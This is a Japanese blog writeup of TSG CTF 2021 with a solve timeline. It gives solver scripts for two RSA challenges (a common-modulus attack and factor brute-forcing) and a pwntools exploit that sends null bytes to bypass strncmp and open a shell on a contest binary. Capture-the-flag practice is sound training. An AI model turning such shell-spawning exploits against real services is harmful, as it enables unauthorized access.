LoginSignup
1
1

More than 1 year has passed since last update.

@MFT-N-E(Team N30Z30N 総帥)

TSG CTF 2021 Writeup（兼参戦記）

Last updated at Posted at 2021-10-03

1. Introduction

　2021/10/2 16:00(JST)～2021/10/3 16:00(JST)に開催された「TSG CTF 2021」にチーム「N30Z30N」でソロ参加しました。Crypto 2問と Pwn 1問を解き、438点（Sanity, Surveyを含む）を獲得して（Sanity, Survey以外を解いた）774チーム中 86 位 でした。
TSG.png
　昨年と比べ順位は落ちましたが、昨年以上に楽しむことができました。

2. Writeup 兼 参戦記

　以下、時系列順に問題の解答状況（Writeup）などを記します。
　なお、今年の目標（あくまで気持ちの上で）は「各分野 beginner 全完 ＋ Crypto全(5)完」としました。※遠く及びませんでしたorz...

15:40 士気高揚のため、BGMを逆襲のシャア「メインタイトル」に設定。

15:50 机上に「じゃがちこチーズ」と「燻製さきいか」をセット。

15:55 SageMath Console起動。戦闘準備OK。（士気MAX）

16:00 競技開始、Beginner's Crypto 2021 着手。

16:40 Beginner's Crypto 2021 のフラグをsubmit（Accepted）。

2-1. Beginner's Crypto 2021（Crypto, difficulty：beginner, 100 points）

Task

beginners_crypto_2021.py
from secret import e
from Crypto.Util.number import getStrongPrime, isPrime

p = getStrongPrime(1024)
q = getStrongPrime(1024)
N = p * q
phi = (p - 1) * (q - 1)

with open('flag.txt', 'rb') as f:
    flag = int.from_bytes(f.read(), 'big')

assert(isPrime(e))
assert(isPrime(e + 2))
assert(isPrime(e + 4))

e1 = pow(e, 0x10001, phi)
e2 = pow(e + 2, 0x10001, phi)
e3 = pow(e + 4, 0x10001, phi)

c1 = pow(flag, e1, N)
c2 = pow(flag, e2, N)
c3 = pow(flag, e3, N)

print(f'p = {p}')
print(f'q = {q}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
print(f'c3 = {c3}')
output.txt
p = 167710954518007348037383082265231465648795974011761905177264545864288011527333715495850532989338171489309608848431113452814709692343039027970312735521415071265608660628968391884287240987858607818275329135585153511665148279408708087727501421558738163577629329044315775019460018956186674179846621352371150072281
q = 130354329753344570838569091064852072757046774566775609047544069941246798511317343102715733555464772099991834579660053860799207243561908291522943696711982657846373844514551117658179060004064010647453939332217996817580433587341521331941287365948919907797478197717562721233289937471168288241937022054501586986443
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743
c3 = 3193069356811106774640161554961405075257002069448498144279061282023129342916422283816661697787316681475161942522570615456264481238277711114193792510286127129056376618422336477707825009085263623755329815306483253646072909132096678270667136193038337386976289222105363398033633185639402128949635525665502328717781718263894690234837016959581149138917064108193064639981137359869717065147934752707676203651598070046066514316196771853484143158367616177332902152347890310640338106015356361617700741042461419248117687350565094928451141103632305400493998164788411031832078388030194992306440474662871408938796429927990102583837

Solution

　e > 3 のとき、e、e+2、e+4 のどれか 1 つが 3 で割り切れてしまうので、e、e+2、e+4 の全てが素数になるのは e = 3 の時しかありません。
　そこで、e = 3 として e1, e2, e3 を計算しますが、残念ながらどれも phi と互いに素ではありません。（ちなみに、Pycryptodome の inverse(a, m) は a * x = GCD(a,m) mod m となる x をしれっと返すので危険です。これに気づかず 30 分以上時間を溶かしました。今後は gmpy2 の invert を使おうと思います。）
　ということで、平文の導出は Common Modulus Attack でやりました。

Solver

solve.py
from Crypto.Util.number import *
import gmpy2

p = 167710954518007348037383082265231465648795974011761905177264545864288011527333715495850532989338171489309608848431113452814709692343039027970312735521415071265608660628968391884287240987858607818275329135585153511665148279408708087727501421558738163577629329044315775019460018956186674179846621352371150072281
q = 130354329753344570838569091064852072757046774566775609047544069941246798511317343102715733555464772099991834579660053860799207243561908291522943696711982657846373844514551117658179060004064010647453939332217996817580433587341521331941287365948919907797478197717562721233289937471168288241937022054501586986443
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743
c3 = 3193069356811106774640161554961405075257002069448498144279061282023129342916422283816661697787316681475161942522570615456264481238277711114193792510286127129056376618422336477707825009085263623755329815306483253646072909132096678270667136193038337386976289222105363398033633185639402128949635525665502328717781718263894690234837016959581149138917064108193064639981137359869717065147934752707676203651598070046066514316196771853484143158367616177332902152347890310640338106015356361617700741042461419248117687350565094928451141103632305400493998164788411031832078388030194992306440474662871408938796429927990102583837
N = p * q
phi = (p - 1) * (q - 1)

e = 3
e1 = pow(e, 0x10001, phi)
e2 = pow(e + 2, 0x10001, phi)

_, x, y = gmpy2.gcdext(e1, e2)
print(long_to_bytes(pow(c1, x, N) * pow(c2, y, N) % N).decode())

Flag

TSGCTF{You are intuitively understanding the distribution of prime numbers! Bonus: You can solve this challenge w/ N instead of p and q!}

とりあえず 1問解けたのでヨシ！という気分でした。

～幕間 1～

17:00 割と Solve数の多い「Beginner's Pwn 2021」に着手。

17:50 晩飯（博多ラーメン）。※博多市さんへのリスペクトの気持ち大

18:15 Beginner's Pwn 2021 のフラグをsubmit（Accepted）。

2-2. Sweet like Apple Pie（Pwn, difficulty：medium, 100 points）

Task

pwnerはoff-bye-oneエラー使ってフラグが取れるって聞きました。

chall.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>

void win() {
    system("/bin/sh");
}

void init() {
    alarm(60);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main(void) {
    char your_try[64]={0};
    char flag[64]={0};

    init();

    puts("guess the flag!> ");

    FILE *fp = fopen("./flag", "r");
    if (fp == NULL) exit(-1);
    size_t length = fread(flag, 1, 64, fp);

    scanf("%64s", your_try);

    if (strncmp(your_try, flag, length) == 0) {
        puts("yes");
        win();
    } else {
        puts("no");
    }
    return 0;
}

Solution

　strncmp 関数はいわゆるヌル文字（\x00）を検出すると指定文字数に達する前でも文字数比較をやめます。入力書式は「%64s」なので、入力値として b"\x00"*64 を投げれば OK のはずです。

Solver

exploit.py
from pwn import *
import sys

if 'remote' in sys.argv:
    r = remote('[Redacted]', [Redacted])
else:
    r = process('./chall')

buf = b'\x00' * 64
r.recvuntil("guess the flag!>")
r.sendline(buf)

r.interactive()

Flag

TSGCTF{just_a_simple_off_by_one-chall_isnt_it}

TSGCTF にしては解きやすい問題でした。

～幕間 2～

19:00 「This is DSA」に着手しつつ、Web や Rev の beginner 問をやってみるも進捗ゼロ。

20:00 時間が溶ける。小腹が空いたので「じゃがりこ」を食す。

21:00 休憩。

21:30 再開。追加されている Crypto 問を見る。 ruby 無理。ゴメンナサイ。

22:00 まだまだ時間が溶ける。意識がだんだん朦朧としてくる。

0:30 Crypto問「Minimalist's_Private」が公開されていることに気づく。

1:50 「Minimalist's_Private」フラグをsubmit（Accepted）。

2-3. Minimalist's_Private（Crypto, difficulty：easy, 137 points）

Task

小さいことはいいことだ。私もプライベートでは不要なもの全て手放しているよ。

encrypt.py
from Crypto.Util.number import isPrime
from random import randrange
from secret import p, q, L, e, d

class RSA:
    def __init__(self, p, q, L, e, d):
        assert(isPrime(p) and isPrime(q))
        self.N = p * q
        self.L = L
        self.e = e
        self.d = d

        # these are the normal RSA conditions
        for _ in range(100):
            assert(pow(randrange(1, self.N), self.L, self.N) == 1)
        assert(self.e * self.d % self.L == 1)

        # minimal is the best
        assert(self.L * self.L <= 10000 * self.N)

    def gen_private_key(self):
        return (self.N, self.d)

    def gen_public_key(self):
        return (self.N, self.e)

    def encrypt(self, msg):
        return pow(msg, self.e, self.N)

    def decrypt(self, c):
        return pow(c, self.d, self.N)

flag = open('flag.txt', 'rb').read()
msg = int.from_bytes(flag, byteorder='big')
assert(msg < p * q)

rsa = RSA(p, q, L, e, d)
encrypted = rsa.encrypt(msg)
assert(rsa.decrypt(encrypted) == msg)

print(f'N, e = {rsa.gen_public_key()}')
print(f'c = {encrypted}')
output.txt
N, e = (1108103848370322618250236235096737547381026108763302516499816051432801216813681568375319595638932562835292256776016949573972732881586209527824393027428125964599378845347154409633878436868422905300799413838645686430352484534761305185938956589612889463246508935994301443576781452904666072122465831585156151, 65537)
c = 254705401581808316199469430068831357413481187288921393400711004895837418302514065107811330660948313420965140464021505716810909691650540609799307500282957438243553742714371028405100267860418626513481187170770328765524251710154676478766892336610743824131087888798846367363259860051983889314134196889300426

Solution

　各値のサイズに視点を置き、条件を精査することにしました。
　 p-1 と q-1 の GCD を u とし、p-1 = su、q-1 = tu とおくと、L = s*t*u （つまり totient の LCM）であると推測できます。
　ここで、N のビットサイズから計算して u が 490bit くらいであることがわかります。
　 s や t は雑に見ても高々平均して 2*10 程度（天井が2*12程度）であるものと guess しました。
　 そこで、s と t を総当たりにして、 u が整数値で求まるものを候補として選び、さらに s*u + 1 と t*u + 1 が素数となるものがビンゴだろう、という雑な想定で実装していったらフラグを得ることができました。

Solver

solve.py
from Crypto.Util.number import *
import gmpy2

N, e = (1108103848370322618250236235096737547381026108763302516499816051432801216813681568375319595638932562835292256776016949573972732881586209527824393027428125964599378845347154409633878436868422905300799413838645686430352484534761305185938956589612889463246508935994301443576781452904666072122465831585156151, 65537)
c = 254705401581808316199469430068831357413481187288921393400711004895837418302514065107811330660948313420965140464021505716810909691650540609799307500282957438243553742714371028405100267860418626513481187170770328765524251710154676478766892336610743824131087888798846367363259860051983889314134196889300426

def getL(n, border):
  for s in range(1, border):
    for t in range(s, border):
      a = s * t
      b = s + t
      c = 1 - n
      D = b**2 - 4*a*c
      rootD = gmpy2.iroot(D,2)
      if rootD[1] and (-b + rootD[0]) % (2*a) == 0:
        u = (-b + rootD[0]) // (2*a)
        p = s*u + 1
        q = t*u + 1
        if isPrime(p) and isPrime(q):
          return s * t * u
  return -1

L = getL(N, 2**12)
d = inverse(e, L)
pt = long_to_bytes(pow(c,d,N)).decode()
print(pt)

Flag

TSGCTF{TSGCTF{Roll_Safe:_You_c4n't_be_exploited_1f_you_are_a_minimali5t_enough_and_y0u_don't_have_any_s3crets_in_your_mind}}

ちなみに、自分は「エ●ルチョコレート信者」（教義：大きいことはいいことだ）です。ゴメンナサイ。

3. Appendix

　この後は以下のごとく、「進捗ゼロ」のまま競技終了となりました。

3:30 意識が飛びまくっていたので寝る。

6:30 ぼんやりしながら起床。

7:30 朝食（菓子パンとか）。

8:00 前日に引き続き、基本的には「This is DSA」に絞ってチャレンジし続けることに。昨日よりは意識ははっきりしている。

9:00 時間が溶ける。

10:00 さらに時間が溶ける。少し頭がすっきりしてきた感じ。

11:00 まだまだ時間が溶ける。筋悪な気がするものの、 Discrete Log を解く方向しか思いつかない。

12:00 "udon" をやっつける（インスタントのきつねうどん）。※問題を解いたわけではありません。

13:00 収集した Discrete Log に関する論文を半分あきらめムードで読み始める。

14:00 外堀を固めて x （Discrete Log 結果）さえできればフラグゲットできるようにする。

15:00 最後の悪あがき、いろいろやってみるも世の中そう甘くはない。

16:00 競技終了。「This is DSA」は結局解けなかったけど楽しかったです。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
1
1